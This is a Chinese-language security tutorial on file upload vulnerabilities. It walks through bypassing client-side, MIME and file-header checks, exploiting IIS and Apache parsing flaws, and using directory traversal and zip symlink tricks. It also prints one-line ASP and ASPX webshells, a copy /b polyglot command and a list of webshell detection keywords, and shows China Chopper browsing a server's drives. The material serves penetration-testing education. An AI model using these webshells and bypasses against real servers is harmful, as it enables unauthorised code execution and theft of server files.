文件上传漏洞原理和利用

文件上传

1.前段选择文件,提交文件
2.浏览器形成POST MultiPart报文发送到服务器
3.服务器中间件接收到报文,解析后交给后端代码进行处理
4.后端代码将上传的文件内容写入到临时文件中(PHP特有)
5.写入到文件中,文件名为提交的文件名或以一定规则生成的文件名

文件上传漏洞

1.未对上传文件进行严格的验证和过滤时,容易造成动态文件asp/php/jsp等等
2.如果上传的目标目录没有限制执行权限,就会导致上传的动态文件(比如webshell)可以正常执行并且可以访问,即造成了文件上传漏洞

文件上传漏洞必要条件

1.存在上传点
2.可以上传动态文件
3.上传目录有执行权限,并且上传文件可执行
3.可访问到上传的动态文件

Chrome插件
SwitchyOmega 是一款强大的代理切换工具。

重点

如果希望wampserver可以使用127.0.0.1访问的话
1.需要把文件 C:\Windows\System32\drivers\etc\hosts 里加上::1 127.0.0.1
2.把apache的httpd.conf的Listen后面的端口修改为8080,ServerName后面的端口也修改为8080

客户端检测绕过

1.JavaScript检测:通过浏览器提交上传前,触发检测用JS脚本进行检测
2.Flash AS脚本检测:上传用Flash中,提交上传请求前,触发检测用AS脚本进行检测
3.APP上传检测:检测写在APP客户端代码中,或者所调用的HTML页面中

常见的客户端检测,一般就是检测文件扩展名

前段JavaScript检测绕过

1.查看onchange、onsubmit等事件
2.删除掉相关事件中的检测函数,也就是说这个代码,直接在调式中删除onchange的函数即可绕过

提交报文修改检测(前段检测通用)

1.首先选择正常的文件进行上传
2.而后通过BurpSuite进行截包或改包重放完成文件上传

这种方式就无须前端js的检测代码了

APP端的BurpSuite抓包(HTTPS抓包)
1.将BurpSuite的代理端口监听IP设置为“All Interface”
2.在wifi设置中将代理地址设置为burpip:8080
3.访问http://burip:8080证书
4.(安卓)将修改证书扩展名为.crt,设置->安全->凭据存储->从SD卡安装,选择证书进行安装
4.(iOS)按照提示一路下一步安装
5.(iOS)进入设置->通用->关于本机->证书信任设置,将新添加的证书设置为信任

如果Android APP使用了证书校验,可以配合Xposed框架的JustTrustMe使用,iOS暂时没有办法,Mumu模拟器打开wifi配置的方法:

adb connect 127.0.0.1:7555
adb shell am start -a android.settings.WIFI_SETTINGS

中国菜刀和开山斧都是用来对服务器Web网站的读取控制的,但是前提是,一定是网站已经被上传过了hack文件核心代码就是
hack的核心代码就一句

php:
asp:<%eval request ("pass")%>
aspx:<%@ Page Language="Jscript"%>< %eval(Request.Item["pass"],"unsafe");%>

服务器检测绕过

1.文件名
2.MIME/TYPE
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据
浏览器会自动根据所上传的文件的扩展名,对应到响应的Content-Type
扩展名 MIME TYPE
jpg image/jpeg
png image/png
txt text/plain
zip application/zip
doc application/msword

3.文件内容
1)、简单文件头检测,文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分
文件头的起始部分中一般标记着文件类型,如:gif的文件头为GIF89a或GIF87a。
2)、完整文件结构检测
有可能在后端对图片的完整图片结构进行了检测,那么如果仅是后缀格式修改了,文件内容却不是图片,在此处就不能绕过检测
可以通过copy命令将
copy /b main.gif+phpinfo.php hack.gif.php

3)、检测提交内容中是否包含Webshell等数据
推荐使用强混淆的weevely进行尝试,Kali中自带
https://github.com/sunge/Weevely
或者尝试开元的webshell收集项目
https://github.com/tennc/webshell

   常见的恶意文件内容检测
   eval(
   base64_encode(
   assert(
   java.lang.Runtime
   java.lang.ProcessBuilder
   ...

通过BuipSuite在上传时修改文件内容,以便于绕过后端验证,比如上传的是PHP文件,那么可以在动态的修改content-type为image/jpg

文件上传小技巧

1.文件上传参数有多个filename属性,已达到混淆filename的目的

2.目录可控时,可以尝试使用目录穿越的方法
文件上传穿越的意思就是在上传时,比如文件名是:filename.png,但是为了让
文件保存的目录变成我们指定的层级目录的话,可以在BurpSuite中这样修改,
…/…/filename.png 这样就让文件保存到的目录有变成向上两级

3.扩展名检测类型可控
1).可以从后台修改允许/禁止的扩展名类型
2).提交参数中存在允许/禁止的扩展名类型
3).前端单独抽出了文件扩展名进行了提交
4).如果后端对上传的文件的文件名的MIME/TYPE和文件名本身的后缀名进行校验过的话,可以修改大小写来绕过验证并上传

文件上传白名单
服务端通过获取上传文件的扩展名来匹配预先定义的合法扩展名数组,如果未能成功匹配的话,
认为上传文件不合法,返回报错信息,如果扩展名能成功匹配,则认为上传文件合法,进行文件保存操作。

文件上传黑名单
服务端通过获取上传文件的扩展名来匹配预先定义的非法扩展名数组,如果能成功匹配的话,认为上传不合法,返回报错信息,
如果扩展名没有匹配到,则认为上传文件合法,进行文件保存。

解析漏洞

1.IIS/Nginx + PHP fastcgi 取值错误解析漏洞(配置错误)
开启了cgi.fix_pathinfo,如果开启以后,所执行文件不存在,会继续查找上一级文件是否存在
Index.php/id/2

并且未设置security.limit_extensions,该选项限制可以执行的文件类型
示例:abcde.jpg/.php

如果在上传时没有对文件名后面的空格进行过滤,那么就会造成漏洞,形成攻击

3.Apache解析漏洞(配置错误)
如果在Apache的conf文件中有如下配置
AddHandler application/x-httpd-php .php
则abcde.php.jpg也会被当做php去执行

如果在.htaccess中有如下配置,可以将扩展名.xxx当做php执行
AddType application/x-httpd-php xxx

就是说:一个文件名为abc.php.gif的文件由于配置错误,会被浏览器当做php文件来执行

4.IIS 5.x/6.0解析漏洞

1)、上传文件名:abcde.asp;.jpg

服务器默认不解析;号后面的内容,因此abced.asp;.jpg被当做了asp文件解析

2)、向xxx.asp目录下面上传abcde.jpg

服务器会将xxx.asp目录下的文件都当做asp文件解析

例如:

1.编写一个一句话木马my.php文件

在这里插入图片描述

2.上传时,被检测到时.php后缀的,然后被禁止上传

文件上传漏洞原理和利用_第1张图片

3.将文件名改成my.php.7z,然后再上传,上传成功,这就是上传漏洞

文件上传漏洞原理和利用_第2张图片

4.最后通过中国菜刀访问这个已经上传的文件,既可以随意浏览网站目录

文件上传漏洞原理和利用_第3张图片文件上传漏洞原理和利用_第4张图片
也可以访问网站的C盘
文件上传漏洞原理和利用_第5张图片

注意:因为7z这种格式是一种压缩文件格式,Apache服务器不识别,不识别后,Apache就会继续向前解析,就会解析到php格式,这就是apache的解析漏洞。

例如2:IIS 6.0的解析漏洞

1.编写一个一句话木马my.php文件

文件上传漏洞原理和利用_第6张图片

2.上传时通过BuipSuite拦截,并修改文件存储路径 uploadimg/ 为 uploadimg/1.php; 文件名修改 my.php 为 my.jpg

修改完后,点击 Forward
文件上传漏洞原理和利用_第7张图片

3.上传成功后,保存的文件名就是 1.php;一串后台生成的字符串.jpg

文件上传漏洞原理和利用_第8张图片

4.然后通过中国菜刀访问这个文件网址即可浏览整个网站目录,这个是因为IIS解析时分号的处理问题

文件上传漏洞原理和利用_第9张图片
文件上传漏洞原理和利用_第10张图片




文件上传高级应用

重绘图

应用调用图片对上传的文件进行了图像转换,所以即使将图片与文件合并,也会将尾部转换掉,
无法使用前面所讲方法上传webshell。
1)、将正常图片使用目标使用的图形库进行转换
2)、寻找转换前后两次未变的部分
3)、将未变部分替换为欲上传的webshell
4)、将替换后的文件进行图像转换,看是否转换后仍存在替换后部分

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

一句话木马的图片,如果被PHP后端重绘图并保存的话,那么一句话木马将失效,
此时怎么办?我们就通过这个Github库就可以将一句话木马图片转换成有效的可上传的gif图
原理就是将一句话木马插入到图片中合适的位置

php codeinj.php demo.gif “

实施步骤:

1、下载这个PHP的RCE库

https://github.com/webattacker/Bypass-PHP-GD-Process-To-RCE

准备一张有rgb通道的gif图片
文件上传漏洞原理和利用_第11张图片

2、将一句话木马插入gif图片中

cd Bypass-PHP-GD-Process-To-RCE
php codeinj.php demo.gif “

在这里插入图片描述

3、使用Bypass-PHP-GD-Process-To-RCE目录下的demo/index.php文件来作为示例

通过PHP + Apache环境启动后,访问此界面,然后上传刚才生成的gd_demo.gif文件
文件上传漏洞原理和利用_第12张图片
上传后,通过图片地址,可以正常访问,而且PHP的代码还被执行了
文件上传漏洞原理和利用_第13张图片

通过notepad++打开这张图片,我们看到了一句话木马代码
文件上传漏洞原理和利用_第14张图片

PHPINFO与本地文件包含的利用

某站点存在本地文件包含及PHPINFO,可以利用其执行脚本
1)PHP在解析multipart/form-data请求时,会创建临时文件,并写入上传内容,脚本执行结束后及删除
2)PHPINFO可以输出$_FILES信息
3)通过多种方式争取时间,在临时文件删除前进行执行包含
a.通过在数据报文中加入大量的垃圾数据,使PHPINFO页面过大,导致PHP输出进入流式输出,并不一定输出完毕
b.通过大量请求来延迟PHP脚本的执行速度

https://github.com/hxer/vulnapp.git

在线解压缩的利用

存在上传压缩包并解压的上传点,可使用如下方式利用。
1)将WebShell打包到压缩包中
a.模板上传处常用压缩包上传后进行自动解压
a.a.部分此类有检测压缩包中的内容的,可尝试建立目录进行压缩
b.使用目录穿越(…/)的方法向上一级目录进行上传
b.b.就是通过Notepad++去编辑一个.zip文件,在编辑内容里将我们的动态php脚本文件名前面加上…/就是表示将此文件解压到向上级目录

也就是说将一个压缩包上传到服务器后,服务器肯定会去解压的,解压后,我们就可以访问解压后的动态脚本文件

c.将文件软连接打包到压缩包中
也就是将shell的命令打包成压缩包,然后上传,上传后服务器解压缩,解压缩完,就相当于使用shell命令了
比如:

将根目录/做一个软连接(就是相当于windows的快捷方式),软连接的名字是a
$ln -s / a

文件上传漏洞原理和利用_第15张图片

然后将软连接a打个包,压缩包名为b.zip

$zip --symlinks b.zip a

文件上传漏洞原理和利用_第16张图片

然后将这个压缩包上传到服务器,服务器会自动解压后,我们就可以通过这个a了,也就相当于访问了服务器的根目录等等

你可能感兴趣的:(文件上传漏洞原理和利用)